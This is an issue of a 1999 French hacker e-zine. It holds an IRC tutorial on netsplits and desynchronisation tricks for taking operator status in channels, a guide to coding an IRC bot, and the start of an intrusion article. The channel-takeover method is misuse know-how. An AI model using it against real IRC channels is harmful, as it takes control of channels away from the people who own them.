04.08.99              - H@CKOFF No17 - * Intrus * - 

  
°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
   
         _/    _/    _/_/      _/_/_/  _/    _/    _/_/    _/_/_/_/ _/_/_/_/      
        _/    _/  _/    _/  _/        _/  _/    _/    _/  _/       _/
       _/_/_/_/  _/_/_/_/  _/        _/_/      _/    _/  _/_/_/   _/_/_/
      _/    _/  _/    _/  _/        _/  _/    _/    _/  _/        /
     _/    _/  _/    _/    _/_/_/  _/    _/    _/_/    _/       _/   
 
°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
   
    _________________________________________________________________________
   /                                                                         \
  /   Bienvenue dans ce Hackoff No 17 Intrus edition. (sous le signe de la   |
 / savate en fait!). Au sommaire de ce numero 17 on vous propose un txt sur  /
| l'intrusion informatique sous plusieurs angles, la suite de l'irc hack    /
\ tutorial, les bugs du cgi, bo2k, et probablement la fin du jargon file.. /
 \________________________________________  ______________________________/
                                          \ |
                                           \|   
                                       __________                             
                                   .,:;>The Crew<;:,.                         
                                      /  .Silk.  \           
                                     /  .Tobozo.  \
____________________________________/  ..Yopyop..  \_____________________________
 ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/  ..Sniffdoz..  \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/  ....Blured....  \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
                                 /  .....Misto!.....  \
                                /  ........NK........  \
                     ----8<----+-----8<--------8<-------\---8<--+-------8<---
                              /Special guest! : Stryknine\
                              ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

                   ____________________________________________________________ 
 __________       /   TabLe des mAtières :                                     \
/ HACK0ff  \     |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
]-=v0L 17=-[     |     [1]Disclaimer                          Tobozo            |
\ Aout  99 /     |     [2]IRC Hack Tutorial - la suite -      Blured75          |
 ¯¯¯¯¯¯¯¯¯¯      |     [3]Intrusion                           Cakeii            |
                 |     [4]Cgi et bugs -suite et exemples -    Yopyop            |
                 |     [5]Bo2k                                Stryknine         |
                 |     [6]Jargon file -fin?-                  Tobozo            |
                 |                                                              |
---------8<------+--------------8<---------------------8<---------------------8<-
                 ¦
                 : 
                 . 
                     _        _______________________        _
-*1*-                 `^°*;:,.> Ð ï $ © £ Å ï M Ê ® <.,:;*°^`
_____________________________/¯¯¯¯¯¯¯By Tobozo¯¯¯¯¯¯¯\___________________________

L'acces a ce document impose la lecture de ce (petit) disclaimer :
Tous les blablas ici present ne sont pas responsable de ce qu'ils veulent ou pourraient vouloir dire.
Il peut exister un sens caché derriere les propos tenus par les redacteurs, traducteurs et affabulateurs, un sens caché qui pourrait suggerer subliminalement d'aller semer le chaos dans la belle technique parfaitement reglee de notre beau monde (il est beau hein?)
. Cette eventualite etant peu probable, on peut quand meme envisager que quelques petites erreurs, omissions ou meme defauts de dyslexie se soient malencontreusement glissés dans ce hackoff, et ainsi prematurement présenter nos excucu-usees a ces pauvres petits esprits sensibles que nous serions potientiellement en position de heurter.
Mais c'est vraiment tres peu probable etant donne l'ambiance plutot educative qu'avec le temps prennent nos magazines (surtout pendant le disclaimer).

Au fait ca veut dire quoi disclaimer?
Si je regarde dans le traducteur d'altavista je trouve : 'déni'
Mmmh c'est certainement pas un tag html ni une commande C donc ca ne peut etre qu'un mot francais, aucun doute la dessus.
Bof je suis pas plus avancé. Alors je remets un petit coup de traducteur dans l'autre sens, on sait jamais et voila ce qu'il me sort : 'refusal'
Mais vu que je comprends toujours pas le sens de ce mot, je repasse encore dans l'autre sens (houla, on sait pas ou ca peut arriver) : refus.
Okay ce mot la je comprends, par contre je comprends vraiment pas ce que ca peut venir foutre en haut de tous les magazines underground. Affinons la recherche (la methode est trop scientifique) en posant directement la question au moteur altavista.
Reponse :

Disclaimer :
A statement made to free oneself from responsibility.
Also called hedge clause.

Au traducteur ca donne

Déni:
Un rapport a fait pour se libérer de la responsabilité.
Clause de sauvegarde également appelée.

Mais pas con que je suis j'ai retenu la lecon de la premiere couche qui veut rien dire, alors on repart pour la deuxieme couche :

Refusal: A report/ratio made to be released from the responsibility.
Also called safeguard clause.

Et retour au francais :
Refus: Un report/ratio fait pour être libéré de la responsabilité.
Clause de sauvegarde également appelée.

Finalement j'ai bien compris, merci altavista. Donc je vais la refaire en vrai :

Refus

Ce report/ratio pour dire que je suis libéré de la responsabilité de vos yeux sur ces lignes, parce qu'il ne s'agit pas des miens. A bon entendeur salut.

Tobozo

¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸

function Edito()

Bah tristesse on vous avait prepare un article beton sur ICQ et comment creer des paquets pour bien gruger le serveur mais ils ont deja mis au point une parade : on peut plus changer son mot de passe ICQ a partir de linux... boarf. En tous cas c'est bon signe s'ils changent leur config a cause d'un OS sachant qu'ils ne levent pas le petit doigt pour empecher que les utilisateurs krosoft se fassent visiter leurs disques durs. Alors du coup plus d'article et me voila en train de pondre un edito de plus -=#~
Cependant une constatation s'impose : la savate n'est plus ce qu'elle etait et pourtant elle continue de s'installer. Est ce du a une forte augmentation de la gravitation locale ou a un dereglement des mesures indicatrices standard ?
Deux enigmes probablement irresolubles sans l'aide spirituelle d'un guru averti.
Justement en parlant de gurus, ils se sont reunis en force dans ce numero-ci, certains avant, certains pendant et d'autres apres (leurs vacances) pour nous pondre un melange coriace a potasser pour la rentree.

Tobozo

¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸







           _        ________________________________________        _
-*2*-       `^°*;:,.>    IRC Hack Tutorial - La suite -    <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯By Blured75¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________

IRC Hack tutorial
Texte par bLuReD75

Salut les loubards de l'IRC. Vous vous souvenez de l'irc-hack tutorial?
En voici la suite, avec cette fois ci des exemples en annexe (fournis 
dans le package). 


Théorie des IRC Nets	
--------------------


Clients et serveurs

IRC est un système client/serveur. Cela veut tout simplement dire qu'il 
y a une machine qui va se charger de recevoir toutes les connexions des 
clients. Les serveurs gèrent entre 10 et 1000 connexions IRC simultanées 

Les clients

Les clients, c'est vous et moi, chacun avec une machine différente. Il 
existe une multitude de clients différents, pour tous les goûts, pour 
tous les OS. La seule restriction pour pouvoir se connecter à un serveur
IRC, c'est que le client respecte le protocole défini dans le RFC 1459 
(voir fichier annexe). Les clients les plus connus sont mIRC 
sous Windows et ircII sous UNIX. 

Les serveurs

Les serveurs sont presque tous sous UNIX. Le logiciel qui s'occupe de 
recevoir et de gérer les connexions des clients s'appelle ircd (IRC 
Daemon). Les ressources exigée par un serveur dépendent essentiellement 
du nombre de personnes qui sont connectées. N'importe qui peut installer 
un serveur IRC chez lui. Par contre, pour faire partie d'un des quatre 
grands IRC Nets (20.000 personnes et plus), il faut une machine assez 
puissante, et surtout une connexion à l'Internet permanente et rapide ! 

IRC Net

Si tout le monde devait se connecter sur le même serveur, le pauvre 
serveur serait vite depassé par la situtation. C'est pourquoi en plus 
des connexions client-serveur, le protocole d'IRC permet des connexions 
serveur-serveur. 

On peut voir comment sont interconnectés les serveurs en tapant la 
commande /links.

Note : il ne doit jamais y avoir de boucle ! Heureusement, ircd vérifie 
a chaque connexion si cela ne peut pas créer de boucle. Le cas echeant, 
la connexion est annulée automatiquement. 

Comment ça marche ?

Imaginons que tous les clients representés soient sur #toto. Si le 
client 1 dit "glop" sur #toto, le serveur 7 va envoyer ce message au 
client 2, car il est aussi sur le channel #toto. Mais il va aussi 
signaler au serveur 2 que le client 1 a dit "glop" sur #toto. Le serveur
2 n'a aucun client sur #toto, donc il va seulement propager le message 
au serveur 1. Le serveur 1 enverra le message au client 3, ainsi qu'aux 
serveur 3, 4 et 8, et ainsi de suite... 

Ca veut bien dire que lorsqu'on fait "glop" sur un channel, le message
va se propager à travers le monde jusqu'aux serveurs où sont connectés
chacun des membres du channel. Par contre, le message ne se propage 
pas vers les serveurs qui ne sont pas concernés. 

La répartition en réseau de serveurs permet donc de diminuer le nombre
de connexions sur chaque serveur, mais ça ne diminue pas beaucoup le 
trafic qui passe entre les serveurs. C'est pourquoi, techniquement, on 
ne peut pas dépasser des réseaux de plus de 35.000 utilisateurs sans 
générer un lag pénible pour les utilisateurs : les connexions Internet 
sont trop lentes ! 

Netsplits

Un phénomène qui en intrigue plus d'un, c'est les splits et les joins. 
Il arrive parfois que les serveurs IRC soient surchargés, s'il y a trop 
de monde sur l'IRC Net par exemple. Lorsqu'un serveur n'arrive plus à 
suivre, il peut décider de "splitter", c'est à dire de casser une de ses
liaisons avec un autre serveur. L'IRC Net originel se retrouve alors 
scindé en deux IRC Nets complètement indépendants.

Sur un channel, on voit parfois plusieurs personnes partir au même 
moment. Cela peut être dû à un netsplit. On reste alors seul avec les 
personnes qui sont du même côté du split. Imaginons par exemple, que le
Serveur 1 et le Serveur 4 splittent. Les clients 1, 2 et 3 voient 
alors les client 4 et 5 partir, et vice-versa ! 
On peut aller voir ce qui se passe de l'autre côté du split se 
connectant à un des serveurs qui a splitté. Sur les nouveaux serveurs 
2.9, on peut voir les netsplits/netjoins simplement allant sur le 
channel &servers. Il est possible de profiter des netsplits pour gagner 
l'op sur un channel. Evidemment, ce genre de pratique peut conduire à 
de graves ennuis avec les propriétaires du channel et les IRCOPs qui 
surveillent ce genre de choses. Voyons point par point comment cela 
se passe. 

Supposons que le channel appartienne a Client 2. Jusque là tout va bien. 
Les choses se gâtent quand le Serveur A décide de splitter. 
En effet, Client 1 se retrouve alors tout seul. Il peut quitter puis 
revenir sur le channel pour devenir op. 
Au moment du netjoin, Client 2 va voir Client 1 arriver, et se faire 
oper par Serveur A. Inversement, Client 1 va voir Client 2 se faire 
oper par Serveur B. C'est ce qu'on appelle un server-op. 

Et qu'est-ce qu'on fait maintenant ? Et bien c'est le plus rapide qui 
va déoper l'autre. Mais s'ils se déopent en même temps, on peut aboutir 
à une désynchronisation ! 

Pour être sûr de gagner l'op, Client 1 aurait pu lancer un deuxième 
client sur son Serveur A qui aurait pris le même nick que Client 2. 

Au moment du netjoin, il se serait produit une "nick collision", et 
les deux personnes, Client 2 et son jumeau, auraient été déconnectées. 
Client 1 se serait retrouvé seul avec l'op.

Avec la version 2.9 des serveurs IRC intervient le Nick Delay, ND. Les 
serveurs se "souviennent" des channels et des nicks. Si l'on prend un 
nick qui existait sur un autre serveur, ou si on join un channel qui 
n'était pas vide avant le split, le serveur renvoie l'erreur : 
"Nick/channel is temporarily unavailable". Mais comme le dit le 
message, ça n'est que temporaire, et si le split dure, le channel 
pourra quand même se faire hacker. Le ND dure en général 10 à 30 
minutes, ce qui est supérieur à la durée de la plupart des splits.

Désynchronisation

Chaque serveur stocke l'état complet du réseau IRC : qui est où, sur 
quel channel, sur quel serveur, avec quels modes etc... L'état interne 
est le même à tout instant sur tous les serveurs... en théorie. En 
pratique, il y a du lag, des délais de plusieurs secondes dûs à la 
lenteur des connexions Internet. 

Cela crée un retard dans la propagation des évènements. De ce fait, 
il arrive parfois que des évènements ne se produisent pas dans le 
même ordre selon point d'où on les observe. Ca vous rappelle la 
mécanique quantique ? Alors prenons un exemple concret : 

Le client 1 deop le client 2, et au même instant (disons à un 
dixième de seconde près), le client 2 deop le client 1. 
Sur le serveur A, le deop du client 1 arrive avant le deop du 
client 2. Pour A, 2 est deopé par 1. D'autre part, sur le serveur B, 
le deop du client 1 arrive après celui du client 2. Pour B, 1 est 
deopé par 2. 
Puis, comme pour tout message, chaque serveur propage le message 
de deop qu'il a reçu à ses voisins... 
 
Mais dans notre cas, quand le deop du client 1 arrive sur le 
serveur B, 1 n'est plus op, donc le serveur B signale gentiment 
l'erreur au client 1 : "You are not channel operator". Inversement, 
le deop du client 2 ne prendra pas effet sur le serveur A. 
 
Nos deux serveurs sont maintenant dans deux états différents, et 
vont le rester ! En effet, il y a égalité entre les serveurs, donc 
il n'y a pas de raison que l'un d'eux l'emporte sur l'autre. 

Server-op

Il ya deux façon de devenir op sur un channel : 
Se faire oper par un utilisateur op 
Se faire oper par un serveur 
Pour se faire oper par un utilisateur, il faut demander au Monsieur. 
Se faire oper par un serveur, c'est simple comme bonjour : il suffit 
de joiner un channel vide ! Eh oui, lorsqu'on arrive sur un channel 
vide, c'est le serveur sur lequel on est connecté qui nous op. 
Sympa non ? 

Maintenant, voyons comment on peut utiliser notre désynch' pour 
se faire oper : 

D'abord, on kick le client 2. 
Evidemment, comme client 1 n'est pas op sur le serveur B, le 
client 2 ne va s'apercevoir de rien. Pour lui on a l'air bien sage. 
Maintenant, on quitte notre channel. Pour le serveur A, le channel
n'existe plus. 
Puis on revient ! 
Qu'est-ce qui se passe ? Et bien pour le serveur A, on vient d'entrer 
sur un channel vide, donc il nous op. Et en bon serveur qu'il est, il 
informe les autres serveurs qu'il nous a opé sur ce channel. Sur le 
serveur B, le client 2 voit de ses yeux ébahis le serveur A nous oper :-) 

Avertissement

Cette méthode peut très bien fonctionner pour prendre le pouvoir 
sur un channel. Sachez que les IRCOPs ont des moyens de surveiller 
les désynch', notamment en allant sur le canal local &channel (tout 
le monde peut y aller). Créer volontairement des désynch' est un très 
bon motif pour se retrouver banni des serveurs IRC. 

Logs

Si vous n'avez pas cru un mot de ce que j'ai raconté, voici un petit 
log. Mechant et Gentil sont sur deux serveur differents, et sont au 
depart tous les deux ops (suite a un netjoin par exemple). 

*** Users on #Glop: @Mechant @Gentil  
*** Mode change "-o Gentil" on channel #Glop by Mechant  
*** Gentil has been kicked off channel #glop by Mechant (Mechant)  
*** Users on #Glop : @Mechant  
*** Mechant has left channel #Glop (Mechant)  
*** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o  
*** Users on #Glop: @Mechant	

*** Users on #Glop: @Mechant @Gentil 
*** Mode change "-o Mechant" on channel #Glop by Gentil 
*** Users on #Glop : @Gentil Mechant 
*** Mechant has left channel #Glop (Mechant) 
*** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o 
*** Users on #Glop : @Mechant @Gentil

Après la désynch', Mechant peut quitter et joiner le channel autant 
de fois qu'il veut se faire oper par le serveur sur lequel il est. 
Ce server-op apparait ici au niveau du "+o" qui figure en fin de 
la ligne de join de Mechant : 

*** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o . 

Cela peut aussi apparaître sous la forme d'un 

*** Mode change "+o Mechant" on channel #Glop by irc.glop.fr 

juste après le join sur les anciennes version de serveur. 
Essayez par vous même !

Les serveurs fred.via.ecp.fr et ted.via.ecp.fr sont à votre 
disposition pour toutes les expériences possibles; ils font partie 
d'un réseau expérimental, l'ECPnet. Par contre, n'essayez pas sur 
des serveurs officiels, vous risqueriez d'en être banni. 

************************************************************************

IRC-Nets

Voici une petite liste de serveurs sur lesquels on peut se connecter 
depuis la France. Vous trouverez une liste et des cartes complètes 
de serveurs sur le site de #IRChelp . 

Principaux serveurs

IRCnet 

130 serveurs, 25.000 utilisateurs 
sil.polytechnique.fr 
irc.enst.fr 
irc.emn.fr 
irc.grolier.net 
salambo.Enserb.U-Bordeaux.Fr 
irc.insat.com 
IRC.Eurecom.FR 
irc.funet.fi 
irc.stealth.net 
irc.webbernet.net 

EFnet 

70 serveurs, 40.000 utilisateurs 
irc.ec-lille.fr 

Ce serveur français, normalement connecté à IRCnet, s'est exilé sur 
EFnet suite à de sombres histoires d'IRCOP...

Undernet 

40 serveurs, 25.000 utilisateurs 
Caen.Fr.Eu.UnderNet.org 
Diemen.NL.EU.undernet.org 

DALnet 

30 serveurs, 20.000 utilisateurs 
taxi.ny.us.DAL.net 
Serveurs divers

ECPnet 

Petit réseau deviendra... petit. 
tibob.via.ecp.fr 
LinuxNET et LISC 

Pour parler de Linux. 

irc.blackdown.org 
irc.debian.org 
Microsoft Network 
Ou les RFCs bafoués en tous points. 
irc.msn.com 

SandNET 

Un réseau sympa avec services de registration 
stlouis-mo-sandnet.ml.org 

UltraNET 

Le réseau de Club-Internet 
neuilly.fr.eu.ultranet.org 

Gamma Force 

Petit réseau Nord Americain 
phantom.ultranet.ca 

Spririt Web 

Serveur en mal de connectés 
irc.spiritweb.org 

KidLink et Kids World 
Dédié aux enfants, il faut d'abord s'inscrire.

************************************************************************

BOT	

Introduction

Je vous propose de construire étape par étape, de manière simple, un 
robot IRC. 

Connexion à une machine

Connexion

D'abord votre bot va devoir se connecter à un serveur. Vous trouverez 
ici (voir fichier annexe - prog_irc.txt) un petit programme en Python 
qui ouvre une socket en TCP sur le port 6667, exactement comme le ferait 
un client IRC "normal". Voici la version en C, (idem) un moins parlante. 
Vous pouvez aussi établir cette connexion "à la main" en tapant 
simplement sous UNIX :

telnet <server> 6667 

Par exemple : 

ted:~>telnet irc.funradio.fr 6667 

Trying 138.195.128.128... 
Connected to tibob.via.ecp.fr. 
Escape character is '^]'. 

Sous Windows, il suffit de faire "connexion distante", et préciser, en 
plus de l'hôte, le port "6667" au lieu du port "telnet". 
Maintenant, on est connecté, mais on n'est pas encore authentifié au 
niveau du serveur IRC. 

Login

Le Login est une phase ou le client donne les infos nécessaires pour 
que le serveur nous "enregistre". Le protocole est une fois de plus 
défini dans le RFC 1459 (idem voir fichier annexe) au paragraphe 4.1, 
et se résume à peu pres à : 

envoyer une première ligne : NICK <nick> 
envoyer une seconde ligne  : USER <username> <hostname>
				<servername> <realname> 
<username> est le login 
<hostname> le nom de machine 
<servername> est le nom de serveur 
<realname> est l'IRCNAME qui apparait lors d'un whois 

Remarques : 

N'oubliez pas le [enter] en fin de ligne ('\n' en C) 
hostname et servername sont ignorés par le serveur (ca ne sert que 
lorsque deux serveurs discutent entre eux) 
username sera remplacé par le vrai login si la machine depuis laquelle 
on se connecte a un démon d'identification (identd). C'est le cas de 
la plupart des machines. 

Certains serveurs demandent un mot de passe, qui doit etre specifié 
dans une troisième ligne : PASS <password> 

Certains serveurs vont envoyer un PING :<numéro>, auquel cas on 
devra répondre avec un PONG <numéro> pour terminer l'enregistrement. 

Voyons cela en pratique : 

ted:~>telnet irc.funradio.fr 6667 

Trying 138.195.128.128... 
Connected to tibob.via.ecp.fr. 
Escape character is '^]'. 
USER toto titi tata tutu 
NICK toutou 
:tibob.via.ecp.fr 001 toutou :Welcome to the Internet Relay Network 
			      toutou!fred@ted.via.ecp.fr
 
:tibob.via.ecp.fr 002 toutou :Your host is tibob.via.ecp.fr, 
			      running version 2.9.4 

:tibob.via.ecp.fr 003 toutou :This server was created Tue Feb 24 1998 
			      at 19:32:22 CET 

:tibob.via.ecp.fr 004 toutou tibob.via.ecp.fr 2.9.4 oirw abiklmnopqstv 

La plupart des clients exécutent alors immédiatement les deux 
commandes suivantes :

LUSER (vous affiche des infos sur les connexions de ce serveur) 
MOTD (vous affiche le "Message Of The Day") 

Une fonction qui effectue le LOGIN est très simple; en voici un 
exemple en Python et en C (voir annexe). 

On a maintenant un robot capable de faire de l'IRC, c'est déjà beaucoup ! 

PING ? PONG !

Malheureusement, l'espérance de vie de notre robot est, à cet instant,
limitée à quelques minutes seulement. En effet, si l'on poursuit 
notre "TP", on voit apparaître au bout d'un instant :

PING :tibob.via.ecp.fr 
ERROR :Closing Link: toutou[fred@ted.via.ecp.fr] (Ping timeout) 
Connection closed by foreign host. 

Le serveur nous envoie un PING pour vérifier que la connexion est 
bonne. Il faut répondre... PONG bien sûr ! C'est ce qu'on appelle 
"le challenge" du serveur. (voir annexe)

PING après le PONG :

PING :tibob.via.ecp.fr 
PONG :tibob.via.ecp.fr 

S'il n'y a pas de PONG, le serveur envoie un message d'erreur et 
ferme la connexion. Le délai pour répondre est de l'ordre d'une 
minute, selon les serveurs, mais on a tout intérêt à répondre le 
plus tôt possible !

Voici une fonction en Python ou en C qui écoute sur la socket
que l'on a ouvert, et repond en cas d'un eventuel PING. 

Zebot

Parfait, toutes les fonctions vitales d'un bot sont là. On peut 
les assembler pour faire un bot qui va se connecter et rester 
connecté indéfiniment : c'est Zebot, le bot zéro, et son homologue 
en Python Pybot (voir annexe).

On peut même faire un script Shell, qui effectue les opérations de 
notre "TP", puis rentre dans une boucle qui PONG; c'est le Sh-Bot.
Attention, c'est programmé au plus simple. On remarquera que le 
programme plante si on flood le bot par exemple. A perfectionner ! 

Sockets

Introduction

Zebot, tel qu'il a été construit, n'a aucun avenir. On verra le 
problème de structure tout à l'heure, mais avant cela il y a deux 

problemes de socket : 

Zebot a une socket bloquante : il ne peut absolument rien faire 
pendant qu'il fait son read(sock, buff, MAX_SIZE-1). 
Zebot n'écoute que sur une seule socket. 
Or un bot doit pouvoir faire plusieurs choses pendant qu'il 
écoute sur le réseau, et il doit aussi pouvoir écouter sur 
plusieurs sockets, s'il accepte les DCC CHAT par exemple. 

Select/fd_set

Ce paragraphe va etre très technique, mais apporte une solution 
propre à nos deux problèmes. 

fd_set 

On déclare une variable globale de type fd_set, nommée fdused. 

#include <string.h> /* FD_SET */ 
extern fd_set fdused; /* liste des sockets sur lesquelles on 
fait le select */ 

Puis on suit la procédure suivante : 

Initialisation 

Une petit fonction d'initialisation : 

void initsocket(void) 
{ 
sockmax=0; 
FD_ZERO(&fdused); /* initialisation de fdused */ 
} 

Ajout d'une socket 

A chaque fois que l'on va ouvrir une nouvelle socket (un nouveau 
DCC CHAT ou une nouvelle connexion à un serveur), on va appeler 
la fonction suivante : 

void addsocket(int sock) 
{ 

FD_SET(sock,&fdused); /* on note dans fdused que la socket 'sock' 
est utilisee */ 
if(sock>sockmax) /* on a besoin de connaitre le plus grand */ 
sockmax=sock; /* numero de socket pour le select */ 
printf("Added sock %d\n", sock); 
} 

Effacement d'une socket 

Inversement, si l'on doit fermer une socket, on appellera : 

void delsocket(int sock) 
{ 
FD_CLR(sock,&fdused); 
if(sock==sockmax) 
{ 
while(--sock>0) 
if(FD_ISSET(sock,&fdused)) 
break; 
sockmax=sock; 
} 
} 

puis on fermera la socket : 

close(sock);

Select 

Maintenant, voyons comment nous allons pouvoir écouter sur toutes 
les sockets positionnées dans fdused, tout en faisant autre chose. 
La fonction select prend 5 arguments. Le premier est le numéro de 
socket le plus grand plus un ! (sockmax +1). Le second est notre 
fdused. Les 3e et 4e sont NULL. Le dernier est le temps au bout 
duquel on sortira du select même si on a rien reçu. C'est grâce 
à ce dernier argument qu'on pourra reprendre regulièrement la main 
pour faire autre chose (toutes les 100ms par ex.). 

Note : si on reçoit quelquechose, on sort tout de suite du select. 

fd_set fdread; 
int status; 
char buff[512]; 
struct timeval timeout={0L, 100000L}; /* .1 second max. in select */ 
memcpy(&fdread, &fdused, sizeof(fdused)); /* on fait une copie de fdused */ 
while((status=select(sockmax+1, &fdread, NULL, NULL, &timeout))<0) 
warn_log("receive: Error receiving socket"); 
timeout.tv_sec=0; /* timeout a été effacé par select */ 
timeout.tv_usec=100000; /* donc il faut le remettre a 0.1 sec */ 

Si la variable status est à 0, c'est qu'on est sorti par timeout, 
donc il n'y a rien dans les sockets. Par contre, si status n'est 
pas nul, il faut aller voir ce qui a été reçu sur chacune des sockets. 

Supposons qu'on ait une structure socket, avec un numéro de socket, 
socket.number, et un pointeur sur la socket suivante, socket.next 
(le dernier pointant sur NULL). first_socket est notre première socket. 

for(reactor=first_socket; reactor!=NULL; reactor=reactor->next) 
if(FD_ISSET(reactor->number, &fdread)!=0) /* On regarde s'il y a 
quelquechose dans cette socket */ 
read_msg(reactor); /* Il y a quelquechose, on appelle une fonction 
qui fera un read(reactor,...) */ 

On remarquera que le select ne lit pas les données. Il permet juste 
de savoir s'il y en a en attente ou pas.

Conclusion

On a maintenant le nécessaire pour gérer un nombre illimité de 
sockets. Il reste bien sur à écrire les fonctions read_msg qui 
lisent les messages reçu, les traitent, et réagissent en fonction 
de leur contenu. 

Configuration

Dernière chose avant de passer à la structure du bot : le parsage 
de la configuration. En effet, il ne faut pas faire comme dans 
Zebot où l'on a codé en dur l'adresse du serveur par exemple.
Généralement, on fait un fichier contenant les informations sur 
les serveurs IRC, un autre sur les utilisateurs du robot, avec 
leurs droits. Le robot doit lire ces fichiers au lancement, et 
sauvegarder sa configuration dedans au cours de son fonctionnement. 
Le parsage des fichiers est quelquechose d'assez fastidieux à coder 
en C. On peut utiliser Lex et Yacc. Ce système de fichiers de 
configuration permet de ne pas avoir à recompiler le bot à chaque 
changement de configuration, ce qui est appréciable !

Structure

Voilà, on y est ! Voyons d'abord les quatres fonctions du bot :
Le parser s'occupe de traiter les messages reçu sur les sockets. 
Le if s'occupe d'appeler les fonctions concernées par le message reçu. 
Les fonctions réagissent en fonction du message reçu. C'est le coeur 
du robot. 

La queue s'occupe de traiter les information sorties des fonctions 
pour les envoyer au serveur. 
 
La Queue

Il faut absolument faire une fonction qui récupère les messages 
générés par les fonctions et les envoie vers le serveur IRC. En 
effet, si toutes les fonctions envoient des données directement 
dans les sockets, on a aucun contrôle sur le débit envoyé. Si 
toutes les fonctions parlent en même temps, le bot va flooder 
le serveur IRC. Il risque alors de se faire déconnecter. Toutes 
les fonctions doivent donc impérativement envoyer leur données 
vers une fonction qui les stocke, et les envoie progressivement. 
Malheureusement, il n'y a pas d'algorithme sûr pour calculer le 
débit que l'on peut envoyer sans flooder le serveur. Il vaut 
mieux le déterminer expérimentalement, selon le serveur. 
S'il y a beaucoup de messages en attente, la fonction de queue 
peut se charger aussi d'optimiser : passer les messages 
importants avant les autres, regrouper les modes, etc... 

Le Parser

Le parser obtient les données brutes venant du serveur. Par exemple : 

:toto!hero@glop.via.ecp.fr PRIVMSG #glop :Salut ! 

Il va se charger par exemple de séparer le nick, le login et le 
host, et mettre tout ça dans un belle structure. Un peut aussi 
en profiter pour rechercher les droits de la personne en question 
dans une userlist enregistrée quelquepart. Par exemple : 

struct message { 
struct user { 
char *nick; 
char *login; 
char *host; 
int user_level; 
} *from; 
char *commande; 
char *to; 
char *texte; 
}; 

Ensuite, le parser passe cette structure au "if"... 

Le "If"

Il s'agit en fait de la moulinette qui va aiguiller la structure 
envoyée par le parser vers les fonctions qui doivent être appelées. 
Cela peut être une opération très basique, comme une succession de 
"if(!strcmp(parsed_msg->commande, "PRIVMSG")) ..." ou autre chose 
de plus compliqué (voir Lignus II, quand le site sera fait...). 

Les fonctions

Ce sont les fonctions qui constituent l'âme du bot. Les autres 
modules ne sont que des interfaces. Un fonction peut être très 
simple : quand elle reçoit un PING :%s, elle renvoie un PONG :%s, 
ou très complexe (selon l'imagination du concepteur). 

Listes doublement chaînées

Un bot, c'est plein d'allocations dynamiques. Il est donc 
conseillé d'utiliser des listes doublement chaînees : c'est 
plus pratique et plus sûr.


Annexes (fichiers joints dans le package) :
La version en C :
socket.c

Le RFC 1459 sur l'IRC
-irc_rfc_fr1459.htm

Fonction qui effectue un login en Python :
-log_in.py

Le même en C :
-log_in.c

Fonction qui écoute sur le socket que l'on a ouvert et répond en cas 
d'un éventuel PING (en python) :
-pong.py

Fonction qui écoute sur le socket que l'on a ouvert et répond en cas 
d'un éventuel PING (en C) :
-pong.c

Script de ZeBot en Python :
-pybot.py

Script de Zebot en C :
-zebot.c

Zebot en script sh --> ShBot :
-bot.sh

Et petit cado :

Connection à un serveur irc en python :

#! /usr/bin/python 
# On importe toutes les fonctions de la librairie "socket" 
from socket import * 

host = 'blured.via.blurhost.fr' 

# On resoud le nom de machine 
hostaddr = gethostbyname(host) 
# On ouvre une socket 
# AF_INET - type Internet
# SOCK_STREAM - type TCP (par opposition avec UDP) 
sock = socket(AF_INET, SOCK_STREAM) 
# Et on se connecte ! s
ock.connect(host, 6667) 
# Et voila ! 


Blured
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸







           _        ________________________________________        _
-*3*-       `^°*;:,.>              Intrusion               <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Cakeii ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________

Recoupement d'informations : cakeii
Validation et correction(s): tobozo
Derniere mise a jour : 04-aout-99
no© Serial Savate System

Intrusion et securite
Ce texte a ete créé
a partir d'archives
trouvées sur le net


Intrusion

Ce document a pour but de vous initier à l'intrusion dans un système informatique et ce, dans un but purement educatif. On considere ici que l'intrusion est un pas a franchir dans le chemin qui mene a la notion de securite informatique.

  • Vous n'y trouverez aucune formule magique pour modifier votre compte bancaire ou hacker un site web ...

  • Nous précisons que le terme hacker est employé dans un contexte d'exploration et de decouverte et non pas dans un contexte mediatique ou legislatif.

